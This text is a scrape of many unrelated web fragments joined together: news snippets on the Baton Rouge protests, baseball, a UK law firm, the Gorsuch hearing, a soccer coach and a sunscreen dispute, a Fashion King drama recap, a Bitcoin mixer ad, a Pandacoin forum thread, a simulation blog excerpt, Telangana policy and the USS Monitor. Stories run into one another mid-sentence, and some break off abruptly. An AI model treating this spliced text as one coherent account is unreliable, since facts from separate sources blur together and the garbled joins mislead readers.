Quencie (@StudioQTV) People in Baton Rouge taking to the streets in response to the shooting of #altonsterling pic.twitter.com/OavspeoMra
Bryn Stole (@BrynStole) Protestors now parking in street to block traffic, raising fiats & chanting "black lives matter" #AltonSterling pic.twitter.com/aGu463ZTN4
The protest continued past midnight and demonstrators said they would hold a rally outside city hall on Wednesday morning.
“We’ve seen a video that’s disturbing, and gruesome,” Mike McClanahan, Baton Rouge president of the NAACP, who was among the protesters for much of the evening, told the Advocate. “We know that justice must be served.”
Associated Press contributed to this reportON THE RIGHT day, a great pitcher, like a great jazz musician, can conjure up a performance so magnetic it's like he's freezing time. That's what it feels like to watch Hernandez riff his way through the Angels' lineup on Opening Day. As if to punctuate the point, there's even a Seattle jazz band, Tubaluba, performing outside Safeco Field.
And so it seems right to learn that the word "jazz" might actually owe its origins to the game. In 1912, Ben Henderson, a long-forgotten minor league pitcher, dubbed his new pitch a "jazz ball" for the way it wobbled and baffled hitters. The term caught on within the sport, and when baseball-loving musicians eventually took it to Chicago and New Orleans, it flourished in different ways.
Hernandez begins his day -- and his season -- by striking out Angels outfielder Kole Calhoun on three pitches. At two strikes, most of the crowd is on its feet shouting "K! K! K! K!" -- an organic tradition that began years ago and now sounds like a war cry. As Calhoun watches Hernandez's four-seam fastball dive at his knees, the fans erupt and King Felix turns his back to the plate, gazes toward the outfield seats and soaks up the thundering roar.
To this crowd, Hernandez is not just the best pitcher in the AL -- though he is that. He's also the one who, finally, unexpectedly, stayed, signing a five-year, $135.5 million contract extension in 2013. "There was no reason for him to stay," Mariners fan Joe Bergin says while nursing a beer near the entrance to King's Court, a special section where fans pay $30 for a seat and a bright yellow T-shirt (a nod to the team's original colors) emblazoned with a crown with spikes spelling out Hernandez's first name. "He could have just played out his contract and then gotten more money from the Red Sox or Yankees or any team, really. The fact that he loves Seattle as much as we love him, this is the first time we've had that. Griffey left. A-Rod left. Randy Johnson left. We finally got a Hall of Famer who reciprocates the love we have for him."
King's Court, the brainchild of the Mariners' marketing department, began in 2011 as one small section in the left-field corner of the stadium. It has |
, the SRA doesn’t regulate paralegals or trainees, whose oversight is something of a grey area.
Significantly, it is being reported that the poster in question did not contain official Leigh Day contact details for Rai and Sachania, but rather listed non-work email addresses.
Legal Cheek has been attempting to get in contact with the pair, but they have understandably gone to ground, even removing their LinkedIn and Twitter profiles. The last recorded tweet featuring either is by The Times journalist who broke the story, Sean O’Neill, seeking to get in touch with Rai.
Previously
Iraq torture case: Leigh Day cleared of ALL misconduct following longest solicitor disciplinary tribunal in history [Legal Cheek]
For all the latest commercial awareness info, and advance notification of Legal Cheek’s careers events, sign up to the Legal Cheek Hub.by: Raine
—
At the ratings are back up at 9.2% for episode 3. I’m not sure if it’s cause Love Rain has caused such a negative commotion or what. Perhaps having Yoo Ah-in naked in every episode contributes a point percentage point per ab appearance?
This episode was still wild and crazy plot-wise but we’ve come to expect that and I think I might stop commenting on that…maybe. That kiss was hot and we got to see Yu-ri’s acting chops and how they get the foursome back to Korea…sort of.
“Best Decision” – Lee Hyun from 8eight (from the Fashion King OST)
https://raine0211.files.wordpress.com/2012/03/lee-hyun-8eight-e1848ee185ace18480e185a9e1848be185b4-e18489e185a1e18485e185a1e186bc.mp3
(What is that? Do they actually consider that clothing? According to the drama, it’s from Michael J. Lauren’s new line…of ponchos?)
episode 4 recap
After his meeting with Michael J. Lauren, Young-gul is floating on clouds and literally runs into An-na. While helping her pick up the garments, he notices that she’s been crying. He thanks her for her help, but she is lost in her misery of being cast aside for the unknown Young-gul.
There is more Baroque music that sounds like a rip-off of the Bach Invention in Bb. Anyone else notice this?
Young-gul buys groceries, whistles on his way home and in generally way too happy. Why? The drama gods are coming to get him. Be afraid. Be VERY afraid.
At a meeting with a bunch of horrid American actors, the American presenter is dissing J Fashion’s and the Korean fashion industry’s attempts to break into the global fashion market, so Jae-hyuk has him fired. Hee. Hee.
Can I fire the Stateside casting director? PLEASE. Or sic a rabid sheep on him? Please continue to read to see the sheep of which I speak.
Jae-hyuk meets with a man from the Korean consulate who hopes that Korea’s fashion industry will soon have the same place in the world as its highly ranked electronics industry. Well, at least that’s his cover. He’s really digging around for information on the “criminal/fugitive” Kang Young-gul, mutineer, murderer and thief.
A bit surprised and taken aback, Jae-hyuk denies knowing him even when the consul points out that they attended the same high school. The consul received a phone call from Korea regarding a student that Jae-hyuk helped who was involved with the fugitive. He wanted to meet Jae-hyuk before speaking with her. After one last inquiry, the consul leaves and Jae-hyuk smiling painfully.
Ga-young carefully makes her way home, wary of followers who could get Young-gul arrested. Turns out, she ain’t wary enough and the devil’s spawn Jung-ah has spotted her entering an apartment building different from the one Jung-ah had visited.
When Ga-young opens the door, she is greeted by a grinning (AW!) Young-gul and a candlelit steak dinner. He’d promised her meat every day after all.
Be still. My. Heart. I LOVE steak. Young-gul, marry me. And feed me steak. And ice cream.
Young-gul playfully evades all of Ga-young’s questions as they eat and take adorable photos of themselves. He explains that Michael offered him two options: his have own fashion line or to meet a buyer. A buyer would allow Young-gul to sell his clothing in a department store, which is great, because it’s really difficult to get such spots in Korea.
A knock on the door jars them out of their jolly mood. They still and Young-gul quietly checks the peep hole to see who it is.
It’s handsome Jae-hyuk, which makes Young-gul scowl, yank the door open and trade words with Jae-hyuk who has come to see Ga-young.He barges in, makes a snide remark about their small apartment and cuts to the chase: are you in love with Young-gul or does he have dirt on you? Why are you putting everything you’ve worked for on the line for that jerk?
As he speaks, Young-gul tries to interject, but Jae-hyuk ignores him, speaking only to Ga-young who is still as a board. Jae-hyuk wants Ga-young to be considerate of his position since he helped her get into the school. He also thinks that Young-gul should just confess and stop bothering someone who has a future. Or, should he just call the police? Young-gul curses at him and Jae-hyuk punches him in return.
So Jae-hyuk doesn’t have as much self-control as I thought….
On his way out the door, Jae-hyuk thanks Ga-young for the shirt with his name, a parting shot at Young-gul. He leaves and passes two suspicious men climbing the stairs.
Yup, you guessed it. They’re cops and when Young-gul furiously yanks the door open to chase after the insufferable Jae-hyuk he is greeted by a badge. It’s the po-po, yo.
Again with the Bach. This is going to drive me bonkers.
Young-gul and Ga-young get hauled out of their apartment and Jae-hyuk watches in confusion – and could that be some worry for uri Ga-young? When Young-gul sees Jae-hyuk, he lunges at him, thinking that Jae-hyuk called the police because of his earlier threat. He is forcibly dragged into the police car and exchanges desperate glances with Ga-young whose big doe-eyes make me want to give her a hug. I think Jae-hyuk wants to hug her, too.
They are carted away in separate vehicles with a helpless Jae-hyuk watching. He spots a suspicious figure in the crowd and recognizes it as Jung-ah – and she’s smirking.
This spawn of Satan really needs to die. First of all, she’s mean and vindictive in a big way. Second of all, she only shows up to shove the plot forward and gets no personal development. I’m not a fan of those kinds of characters. Boo.
An-na shows up at Jae-hyuk’s and they have something strong to drink. She is quite pensive and admits that she came looking for him because she hoped he was still looking for a designer. When does she want to start working? he asks.
Do you still love me?
That was the right question because he finishes his drink, sets down the glass and kisses her. And it’s a steamy, wicked kiss and I’m uber jealous of Yu-ri.
Thank you SBS for avoiding the drive-by kiss and giving us a REAL hot kiss.
Before the moment can develop, Jung-ah appears and interrupts them by clearing her throat. Jae-hyuk responds by peevishly telling her to find a hotel to stay in from now on.
I laugh gleefully at the poopie face Jung-ah makes. And then even more when An-na asks who she is and Jae-hyuk says, “No one.” Jung-ah doesn’t think it’s as funny as I do and screams her frustration.
Assistant Kim drives Ga-young back and he’s nasty, nasty, nasty. What happened to the funny, sassy assistants of yesteryear? Anyway, he tells her to stop bothering the director who only helped her because she is talented.
Yeah, right.
This is also the last chance they’re giving her so she better not show up in front of Jae-hyuk again. He drives off and she enters the empty apartment and cries over the table set for two.
Hwang Tae-san, leader of the loan sharks, is watching the news with his lackeys and an airhead. The leader of the mutiny has been arrested. He had a beautiful lover who attended a famous New York fashion school and helped him secure a place.
Say wha’? How did this falsehood come about?
Tae-san worries about his “pretty” who is nowhere to be found.
The authorities deport Young-gul and the judge rules him not guilty of leading the mutiny or of boarding the boat with intentions to steal. Because he was threatened, he sold the boat and illegally entered the U.S. He called the embassy, but in the end did not reveal himself so he receives a year-long jail sentence.
No! No! No! No! No! Seriously? ACK! GRR! RAWR!
Jae-hyuk introduces An-na as the new designer at J Fashion much to Assistant Kim and the board’s displeasure.
In New York, Michael J. Lauren is holding a runway shoot in front of critics who whisper approval of the coats – the samples that Young-gul brought him.
Young-gul wallows in prison and An-na designs at J Fashion and prepares for a fashion show.
And this is for Mystisith: “Yay! Fashion porn!” Even if it’s ugly fashion, we can always make fun of it. We’re women. We roll like that.
So the fashion show is underway and Jae-hyuk keeps watching Michael J. Lauren for his reaction. A reporter interviews people with varied opinions, but Michael says, “It was terrible.”
You’re terrible, Michael. What do you think about my knee to your ‘nads, you thieving jerk?
In prison, poor, pretty, pretty Young-gul gets picked on and is forced to do all of the cleaning.
You can’t be that pretty in prison and not get picked on.
Anyway, in order to work out his frustration, he does push-ups and remembers all the times Jae-hyuk slighted him, turning him away and saying he has no money for HIM. Young-gul also recalls that Jae-hyuk said he would call the police and the fury within him builds.
Young-gul is working on sewing panda costumes when he gets a visitor – Jang Il-gook, his “friend”. Il-gook offers to send men to America to take care of Jae-hyuk, but isn’t really serious. He also warns that his boss, Tae-san, is waiting for him to come out. Why is the man so stubborn? Young-gul wonders.
Um, he’s a loan shark in a psycho k-drama. It’s his job.
Visiting time is over and Il-gook mentions Ga-young, which riles Young-gul up. It’s nothing, Il-gook replies. Fighting!
In a workshop, a manager is yelling at an ahjumma. Ga-young works up some courage to ask him for her paycheck, which is late. The jerk tells her that she’s too careful in her work and her output isn’t high enough so he fires her. He’ll have her check ready as soon as possible.
And she’s in Korea, too? How? When? Why?
In the sewing room, Young-gul works on another panda outfit and remembers that Il-gook mentioned that Tae-san is looking for Young-gul’s “girlfriend”. It’s safe to say that Young-gul is FURIOUS.
He carefully finishes the panda costume made of spare material and offers it to the jailer with a new baby. The jailer likes it. Step one in winning someone’s favor.
In New York, with more flippin’ Baroque in the background, Jae-hyuk broods over the horrible reviews of their fashion show. He visits An-na who apologizes to him and asks to be left alone. Instead, he invites her to move back to Korea with him. He leaves and she watches him with conflicting emotions.
I see a war with parents coming. Not my favorite source of conflict.
They climb on a plane. She’s nervous but rejects Jae-hyuk’s attempts to comfort her. That’s a solid way to re-start a relationship.
And our main quadrangle are now all back in Korea. HOORAY! No more bad American actors. Let’s hope there are no bad Korean ones…
The jailer with the newborn asks Young-gul to make a jacket from a picture. Turns out the picture is of Young-gul’s work that Michael stole. But Young-gul doesn’t seem to realize it. Does he think Michael is still going to buy his work after debuting it? HA!
While waiting to be interviewed, Ga-young watches the Michael J. fashion show and recognizes the coat she helped work on. Michael takes credit for it in an interview. Then, Ga-young gets rejected in her interviews because she doesn’t have enough education. They don’t even bother to look at her portfolio.
Frickin’ elitist snobs.
(These are the sheep that I mentioned earlier. See the sheep? THE SHEEP!!!)
Jae-hyuk has given An-na a fancy new apartment decorated with…SHEEP! Seriously? Sheep? I cracked up and then shared screencaps with friends because it’s so ridiculous. This whole scene was completely ineffective because of those damn sheep. But I guess I should write about it anyway.
She thanks him for the gesture, even though it’s too much and he actually smiles! *squee* But when he turns, his face drops. He’s worried. And she can feel it. She asks if they are really starting over and he faces her with a fake smile. “Of course.” Again, when he turns away, he looks really unsure. The girl ain’t dumb. She can tell that you’re worried.
(L O_O K! It’s a bug! Oh no, that’s just Jae-hyuk’s mother.)
Madam Jo visits Jae-hyuk’s mother, the president of a mall, and mentions that a luxury shop is moving next door and Madam Jo does not like that. With a sugar-sweet smile, she mentions that “that girl” is back in Korea. The president is angry but Madam Jo has the upper hand and knows it.
Can I choke her with the strap of her purse? I bet the president would like to as well. She calls someone, probably Assistant Kim, and yells at him for not solving the “problem” with An-na.
Fresh from the shower, An-na sees the same news report as Ga-young but doesn’t seem surprised that Michael stole Young-gul’s ideas. The door beeps and she goes to greet Jae-hyuk – but it’s his mother. They trade venomous glances and sit on the sofa as far away from each other as possible.
Mom starts in on the threats, but An-na holds her ground. She even picks up the phone and calls security: there’s a strange person disturbing her.
Asa! Go An-na! Best scene of the episode.
Of course, mom is furious but An-na smirks and asks her how she likes being treated that way. “You made a mistake today,” mom threatens before going.
As soon as the door shuts, An-na’s brave face cracks. Her breathing becomes heavy as tears fall and she takes some pills, probably tranquilizers of some sort.
Jae-hyuk is meeting with his father, Jung Man-ho, who is not happy that Jae-hyuk “wasted” money on a failed show. Is the friend he brought back the “friend” from that time? Is he personally attached to her? How much money did he waste?
When Jae-hyuk replies, his father brutally beats him, ordering him not to make a mistake using his money again.
Do ya’ll remember how quickly Jae-hyuk apologized to the white-haired design director, Director Kim? He’s terrified of and desperately eager to please mean dad. Actually, complete douche dad.
On his way out of the office, Jae-hyuk passes Director Kim as he straightens up his collar and wipes off the blood. He only gives the director a passing acknowledgement who responds with a smirk and, “I sent you there to learn, but you’re still arrogant.” With venom in his gaze, Jae-hyuk apologizes for disappointing him.
He heads into his office and furiously throws his nameplate on the floor. Mr. Cool-as-a-cucumber is starting to crack as well.
He receives a call and hurries to An-na’s apartment. She’s lying on the floor, depressed and looks a bit drugged out. He pulls her into his arms and she sobs into his shoulder. The poor thing doesn’t think she can do it and wants to go back. All Jae-hyuk can do is hold her.
Bravo Yu-ri! You’re convincing! Not a genius, but convincing. And, I love seeing a scene like this. It’s genuine and raw. We need more of this and fewer crazy antics.
In his cell, Young-gul is meditating. HAHAHA! Then, he finds out he’s been released and gets paid a little by the nice jailer for 180 days of work on the coat. Young-gul also gets his necklace back, which wipes the smile from his face.
I’m not sure if a year has passed or only a little more than 180 days or what. In any case, it’s been at least six months. And, I actually don’t mind this time skip/fast forward.
At the prison entrance, he is met by Il-gook holding some tofu and cronies. Young-gul only manages a bite of the tofu before he is seized by the cronies to go see the boss.
Now that’s REAL friendship right there. Il-gook even tries to explain himself: friendship is friendship. Work is work. Boy, at this rate, you’d betray your own mama.
Young-gul wonders if Il-gook will at least send men after Jae-hyuk. Why? Il-gook wonders. Jae-hyuk is back in Korea.
Dun. Dun. Dun.
The car stops at a red light and Young-gul seizes the opportunity and bolts.
If I ever need lackeys, I’m not hiring them. Have they EVER heard of child-lock?
In a nice bit of product placement, Jae-hyuk has a security system set up in An-na’s apartment so the mothership can’t invade. They couple stares out the window as she leans her head on his shoulder. YAY! I love moments like these. Gimme MOAR!
Jae-hyuk drives An-na to work and she softly apologizes to him, which makes him smile *squee* Then, she sits quietly while listening to him discuss business in Korean and English.
Sooooo cute when he speaks English. Fangirlspazzzzz!
Assistant Kim shows An-na her new office where there are neon green chairs. Do not look directly at the screencaps or they may blind you. Turns out Jae-hyuk organized and decorated the whole thing himself.
The boy needs some serious taste adjustment. First the sheep, and now the neon green chairs.
Director Kim shows up, smug-as-you-please. He would’ve fired her for the failure that she had in New York and marvels at her audacity in returning to J Fashion – Seoul. When he asks if she’s in a relationship with Jae-hyuk, she asks him to focus on work matters.
Then the director reveals why he is so antagonistic towards her. She toiled hard to get to New York and ended up working for Michael, right? With a look of pure malice, he reminds her that she is the “seller”, even if other people don’t know.
Wait a second. So did she sell his designs/J Fashion’s designs to Michael to get her job in New York? If so, does that mean she helped Michael steal Young-gul’s designs
Jae-hyuk has rented out a theater in his mother’s mall and is brooding while a classic plays on screen. (Does anybody know which movie it is?) Young-gul materializes and pokes fun of Jae-hyuk’s money. The movie is stopped and Young-gul demands an apology. When Jae-hyuk refuses, he gets punched.
After everything that has happened, I think Jae-hyuk is ready for a fight so he takes off his jacket and proceeds to beat Young-gul to a pulp with some pretty sweet moves. While they’re fighting, Young-gul accuses Jae-hyuk of reporting him to the police.
The fight ends when Jae-hyuk throws Young-gul over his shoulder and pins him to the ground with his knee – by Young-gul’s throat. Jae-hyuk looks absolutely savage as he orders Young-gul never to appear before him again, or he’ll kill him.
At that moment, I believe him. But Young-gul is a street kid and pretty darn tenacious. He declares that he’ll buy a theater bigger than this one and watch porn on it! BWAHAHAHA!
Deeno, we need to find Dong-ah and Robot and invite them to this new theater.
I another turn of rotten luck, Ga-young gets locked out of her apartment because she can’t pay rent. Outside, she trips and everything falls to the ground, including her tears. She picks herself up and trudges down the street where she sees a help-wanted sign for Young Girl.
NO! Don’t do it! Things NEVER look up in this drama! NEVER!
She hurries over to Young Girl where there are new employees and a new president. When he figures out that she was the female employee who “helped” President Kang out, he starts pulling her hair and yelling at her. It’s their fault that he and the shop suffered
What the hell is this violence? Not cool.
Young-gul is meandering the streets and sees a commotion at Young Girl. Before he can check it out, a cab drives up and Soo-ji, Tae-sun’s girl, disembarks. Young-gul hides while Soo-ji goes inside Young Girl. The employees are dumping Ga-young’s things out of their bags when Soo-ji marches up and starts giving Ga-young the what for and a hardy smack across the face.
Turns out the woman has been hiding at Hooksan Island waiting for Young-gul’s return. She starts yanking Ga-young’s hair.
Young-gul sneaks a peek into the fray and is shocked to see a mob of angry seamstresses and Soo-ji beating up Ga-young. He stands around like a bozo, trying to figure out whether or not he should help. But a team of Tae-sun’s goons spur him into making a decision – run away.
RAWR!
The guilt tears at him as his rides a bus away from the woman he should be helping. At the next stop, however, he gets off and…
We have to wait ‘til next week.
Comments:
Here’s a pretty screencap for all you Je-hoon fans. Yes, please thank me. I like to be thanked. 😀
Oh words. How to find words to talk about this drama. I love it ’cause it’s crazy entertaining and I hate it ’cause it’s so crazy badly organized.
Yu-ri gets some mad props. I’m still thinking Shin Se-kyung needs a meatier character to play with although she is soooooo flippin’ cute and pitiful as Ga-young. Yoo Ah-in is killing his ridiculous character and Je-hoon’s smile ALMOST rivals uri Park Shi-hoo’s. Almost.
As for Young-gul’s move at the end. I’m actually not surprised that he left even though I’m not happy that he did. He’s a hustler to live, but he’s not really a go-getter and never really lived for anyone else. He’s more of a “flight” when one speaks of “fight or flight”. Even in the last episode, if An-na had resisted him more, I don’t think he would’ve pushed to meet Michael. It’s how he is. I do think, however, that watching Ga-young’s quiet tenacity thus far will have him go back for her. At least…I hope he will.
And An-na. What’s her role in Michael’s thievery?
And what about the time skips? They’re fine and all if you know exactly what’s going on. A little “six months” later subtitle would be great thanks.
And, and, and, how did Ga-young get back to Seoul? When? Why? What happened to school?
Will these questions be answered? Stay tuned for next weeks sure-to-be crazy installment of Fashion King.
Episodes 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20
Character introductions.
Fashion King Episode 4 Screencaps.Judge Neil M. Gorsuch gave his opening statement on Monday during the first day of his confirmation hearing before the Senate Judiciary Committee.
Here are some highlights:
■ Senator Richard J. Durbin, Democrat of Illinois, said he wanted to know what Judge Gorsuch would do when “called upon to stand up to this president.” Mr. Durbin said, “You going to have your hands full with this president.”
■ Senator Michael Bennet, Democrat of Colorado, introduced Mr. Gorsuch, his fellow Coloradan, with high praise but stayed studiously ambiguous about how he would vote.
■ Senator Lindsey Graham, Republican of South Carolina, said, “if you believe this has been a great plan to get a Trump nominee on the court, then you had to believe Trump was going to win to begin with.”Ryan Nelsen's appointment as Toronto FC head coach has been met with widespread scepticism by the media while fans of the struggling Major League Soccer club have largely mocked the decision.
News that the All Whites captain will quit his playing career in the English Premier League and become Toronto's eighth coach in seven years has startled many in the Canadian football media, who are naturally focusing on Nelsen's lack of coaching experience and the fact that because he is still contracted to Queens Park Rangers until the end of June, nobody knows exactly when he will be hooking up with Toronto.
The next Major League Soccer season starts on March 2, while the draft and combine (player showcase) are coming up later this month.
"Even by Toronto FC standards, it's a jaw-dropper," wrote Daniel Girard in the Toronto Star.
"The Major League Soccer club on Tuesday announced that 35-year-old Ryan Nelsen will be its eighth - and youngest - head coach in seven years.
"There's just a couple of catches.
"The New Zealand native has no formal coaches training and has never walked the touchline.
"Also, he'll continue playing for Queens Park Rangers in the English Premiership, meaning he's going to miss the draft, in which the club picks first and third, training camp, and MLS games, perhaps until the season ends overseas in mid-May."
All but one of the commenters on his story were negative toward the appointment, this one summing up the mood: "This is just TOOOOO funny!!! A team that has COMPLETELY lost its way, badly in need of a coach with a proven track record of turning teams around, goes out and hires a guy who A) is only 35; B) has never coached before; and C) isn't available until two months into the season. Stunningly inefficient management."
One preferred to look on the bright side, though.
"A coach who has never coached, for a team that has never made the playoffs. Well, I guess he can't do any worse."
A Toronto Star editorial concluded with this quip: "At this point, we will say to Nelsen what we say to every new coach through the perpetually spinning turnstiles at this club: 'All the very best of luck; and probably best to rent for a while'."
Paul Attfield, writing in The Globe and Mail, also focused on Nelsen's lack of coaching pedigree.
"[Toronto] didn't replace [the former coach Paul Mariner] with another head coach though; in fact, it didn't replace him with a coach of any kind," Attfield wrote.
"Instead it tabbed current New Zealand international and Queens Park Rangers defender Ryan Nelsen to take up the reins of Major League Soccer's most flawed franchise.
"But while TFC fans can be forgiven for wondering how a man with zero coaching qualifications can help end the club's six-year playoff drought, Nelsen's thoughts are likely occupied by something more pressing, namely keeping the likes of Gareth Bale and Clint Dempsey in check as his other employer, the relegation-threatened English Premier League team on the other side of the world, plays host to Tottenham Hotspur on Saturday."
The vast majority of reader reaction to his story was scathing of the club and the decision to hire Nelsen.
"The TFC managerial carousel spins yet again throwing up a coach of absolutely no experience and a man best known as a 'good trainer' - he likes to run a lot," one person wrote.
"I'm guessing that judging by TFC's track record in hiring and firing head coaches, which appears to be as frequent as changes in the zodiac calendar, and makes about as much sense, we'll be reading about a new head coach by mid-April."
TSN football analyst Jason de Vos labelled it "without a doubt, the most bizarre coaching appointment ever made in Major League Soccer".
But Cathal Kelly, a columnist on the Star's website, preferred to take a positive view of the appointment.
"Nelsen differs from the rest in terms of resume - in the sense that he doesn't have one," Kelly wrote.
"He's never coached before at any level. That's not an issue. Toronto FC has tried all sorts of experience. At this point, innocence is worth a try."
Meanwhile, New Zealand Football chairman Frank van Hattum today said Nelsen had made contact with the national body, though his playing future with the All Whites remains uncertain.
"We've exchanged communication with Ryan following the press conference yesterday, and have been in contact with his management team over the past few days. From our perspective there is no urgency for him coming to a decision surrounding his playing future," said van Hattum.
"There are still discussions that need to be held between the various parties involved and we respect the need for Ryan to have those. Until such time we believe it is inappropriate to make comment on his playing future with the All Whites.
"Ryan has been a tremendous asset to New Zealand Football throughout his career and we will support the decisions he makes in his own time."
It is highly unlikely that Nelsen will be seen in an All Whites shirt again, given his desire to leave Queens Park Rangers as soon as possible and begin his coaching career with Toronto. He will want to focus all his time at Toronto.Courtesy of MTV
After hearing about Farrah Abraham’s latest surgery, her ex, Simon Saran, spoke with us EXCLUSIVELY, taking credit for why she wanted to get vaginal rejuvenation!
Farrah Abraham, 25, is definitely not the shy type! The Teen Mom 2 star recently revealed that she underwent procedures to rejuvenate her vagina and tighten her butt, and she even took cameras behind-the-scenes for wild pics which were released on Aug. 3. Her ex, Simon Saran, 28, is now spilling all the tea on why he thinks Farrah made the major changes to her body. “I don’t blame her, I’m very big. Wouldn’t be fair to the next guy,” Simon tells HollywoodLife.com EXCLUSIVELY. As far as the status of their relationship, he claimed, “we are friends.” See more pics of Farrah, here.
After giving her nether regions a little tune up, Farrah looked elated about the results. She made an appointment with the Beverly Hills Rejuvenation Center to have the skin-tightening procedure called Elixis done, Radar Online reports. “The procedure heats up the skin with radio frequency to tighten the skin and tissue,” an insider told the site. “It goes deep and gets rid of cellulite to make everything tight and firm.” The reality star also had interior and exterior vaginal rejuvenation done, but she didn’t seem the least bit uncomfortable! WHAT?!
Farrah can reportedly look forward to a hotter sex life in the near future, but her fans are still having mixed reactions. The entire vaginal rejuvenation procedure only takes about 25 minutes to complete and 2 to 4 sessions are recommended for the best results. “When the clitoris and outside lips are stretched out and long, it shrinks them and makes the vagina from the outside look youthful,” their source said. “It is beneficial for sex so you’re not wide. It also helps with moisture and lubrication.” Farrah has been very outspoken about her past procedures, having first gone under the knife in 2010 for a breast augmentation. She clearly doesn’t care what the haters say!
HollywoodLifers, leave your thoughts about Farrah’s procedure, below!© Jason Merritt/Getty Images for The Honest Company Jessica Alba attends The Honest Company and The Moms Launch of Jessica Alba's New Book The Honest Life at the Mondrian LA on March 15, 2013 in West Hollywood, California.
After Jessica Alba's Honest Company got burned by unhappy customers slamming its sunscreen, the actress is offering an explanation—and an apology.
Honest, which markets "safe and eco-friendly household and baby care products," faced backlash after consumers complained about its SPF 30 sunscreen, claiming it didn't provide enough sun protection and left them and their children with burns.
In an open letter on the Honest website, Alba and co-founder Christopher Gavigan wrote that they "take sun protection seriously" and use the sunscreen with their own families. "As parents, it pains us to hear that anyone has had a negative experience with our Sunscreen," they wrote. "We develop and use Honest Sunscreen to protect our own children – Honor, Haven, Luke, Evie, and Poppy – at the park, in the pool, outside, every day."
In response to customers' complaints, Alba and Gavigan wrote that Honest is re-designing the "broad spectrum, mineral-based protection" sunscreen to improve its water resistance and applicability.
Our previous Sunscreen formulation had a 40-minute water resistance and customers told us that it didn’t apply as easily as they would’ve liked. Based on our own experience and consumer feedback, we redesigned our Sunscreen Lotion for 80-minute water resistance and an improved formulation that allows for easier application and a lighter-weight feel.
However, they defended the sunscreen's safety standards, fighting consumers' claims that the lotion was unsafe.
We’ve gone through extensive third-party testing in accordance with government regulations and our Sunscreen Lotion passed all SPF 30 testing requirements. It also received the best score possible from the Environmental Working Group (EWG). We care about taking every precaution possible to ensure that your product experience will keep you healthy and happy.
In a previous statement, Honest said the product meets the standards issued by the U.S. Food and Drug Administration when used as directed, which includes applying 15 minutes before sun exposure and reapplying after 80 minutes of swimming or sweating.
The FDA requires sunscreen products to use up to 25% of zinc oxide. An investigation by NBC Chicago found the Honest Company dropped the percentage of the ingredient from 20% to 9.3% at some point.
Consumers expressed their frustration with the sunscreen on social media and on the product's Amazon page.Your Bitcoin transactions The Ultimate Bitcoin mixer made truly anonymous. with an advanced technology. Mix coins
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Read the goddamn OP.
Sr. MemberActivity: 275Merit: 250Read the goddamn OP. Re: Best Proof of Stake coins - Voting Poll October 20, 2014, 03:51:47 AM #162 Quote from: randywald on October 19, 2014, 04:10:46 PM.
1. It seems to be a fair coin. I will buy some of them.
2. What has the panda to do with money? Has it any special markets? Or is it just the panda because everybody likes pandas?
Thank you.
I was really surprised that PandaCoin is so popular1. It seems to be a fair coin. I will buy some of them.2. What has the panda to do with money? Has it any special markets? Or is it just the panda because everybody likes pandas?Thank you.
Pandacoin was originally made to counter a wolong scamcoin, recently pandacoin succeeded in killing the wolong scamcoin by getting it removed from the markets.
The devs have created something much more than a counter-coin now.
Innovative features such as a browser miner to introduce new non-technical users to cryptocurrency and buypnd which allows PayPal to PND transactions.
The devs are always active and are always planning new releases/ features that actually work.
No IPO/ICO, premine, none of that stupid shit, pure fair distribution. Started with PoW and after a community vote it switched to PoS.
There are two official multipools so you can still earn PND.
Pandacoin was originally made to counter a wolong scamcoin, recently pandacoin succeeded in killing the wolong scamcoin by getting it removed from the markets.The devs have created something much more than a counter-coin now.Innovative features such as a browser miner to introduce new non-technical users to cryptocurrency and buypnd which allows PayPal to PND transactions.The devs are always active and are always planning new releases/ features that actually work.No IPO/ICO, premine, none of that stupid shit, pure fair distribution. Started with PoW and after a community vote it switched to PoS.There are two official multipools so you can still earn PND. Shill Links: OKCOIN /// BitMex /// 1Broker
trustlessgold
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NewbieActivity: 2Merit: 0 Re: Best Proof of Stake coins - Voting |
would remain if I ran the simulations longer. The real test is to see if there is more cooperation.
Here, in both conditions there is fewer cooperative interactions when super-tags are allowed. The marginal increases in coarse-graining and numbers of humanitarians do not result in a more cooperative world. I have observed the same trade-off between fairness (more humanitarians) and cooperative interactions when looking at cognitive cost (Kaznatcheev, 2010). For this sort of simulation, this might very well be a general phenomena: increases in fairness produce decreases in cooperation. My central point, is that we do not see a strong expansion of our in-group circle. Further — even if we do see such an increase — it might at the cost of cooperation. It seems that evolution favors the most fine-grained perception of tags; there is no strong drive to expand our circle towards an empathic civilization.
References
Hammond, R, & Axelrod, R (2006). The Evolution of Ethnocentrism Journal of Conflict Resolution, 50 (6), 926-936 : 10.1177/0022002706293470
Kaznatcheev, A. (2010). The cognitive cost of ethnocentrism. In S. Ohlsson & R. Catrambone (Eds.), Proceedings of the 32nd annual conference of the cognitive science society. (pdf)After reiterating his commitment to provide 12 per cent reservation for poor Muslims, for which a bill would be introduced in the forthcoming budget session of the Assembly, Telangana Chief Minister K Chandrasekhar Rao is moving ahead with many more schemes to win over the predominant minority community in the state.
Now, he has expressed his desire to set up an Islamic Centre-cum-Convention Hall of international standards at a cost of Rs 40 crore on six acres of Wakf land at Manikonda in the city. The state government has further decided to set up of IT SEZ exclusively for Muslims, first of its kind in the country.
At a high-level review meeting on minority welfare, he has instructed the officials concerned to prepare proper designs for the proposed centre. He suggested that the proposed centre could be used by members of the Muslim community to conduct all their activities, programmes etc.
Moreover, he has also expressed his resolve to establish an orphanage for Muslims at a cost of Rs 21 crore at Anees-ul-Gubba in Nampally and signed on a file in this regard. The government has already allotted prime land of 4,000 yards for the orphanage.
On this occasion the Chief Minister has asked the Centre to take steps to conduct National Eligibility cum Entrance Test (NEET) in Urdu medium. There are thousands of students who are studying in Urdu medium in the country and for their benefit NEET should be conducted in Urdu medium. He said that Urdu language is given a second language status in the Telangana State and as a result many students are studying in Urdu medium in the State.
It was also decided to conduct a special DSC to recruit Urudu teachers for Urdu schools and colleges. The government has released Rs 8.48 crore for the comprehensive development of the Mecca Masjid. It was also decided to hike monthly remuneration to Imams and Mauzams from Rs 1000 to Rs 1500.Perhaps they were friends — the older sailor who walked with a limp and always had a pipe clenched in his teeth, and the younger salt with the busted nose and the beat-up, mismatched shoes.
If not comrades in life, they became so in death, drowning together in the iron tomb of the USS Monitor as it capsized off Cape Hatteras in 1862 and sank upside down in 40 fathoms of water.
Over a century later, their skeletons would be found, one atop the other — the younger man still with his shoes on — amid the guns, equipment and debris inside the famous ship’s turret.
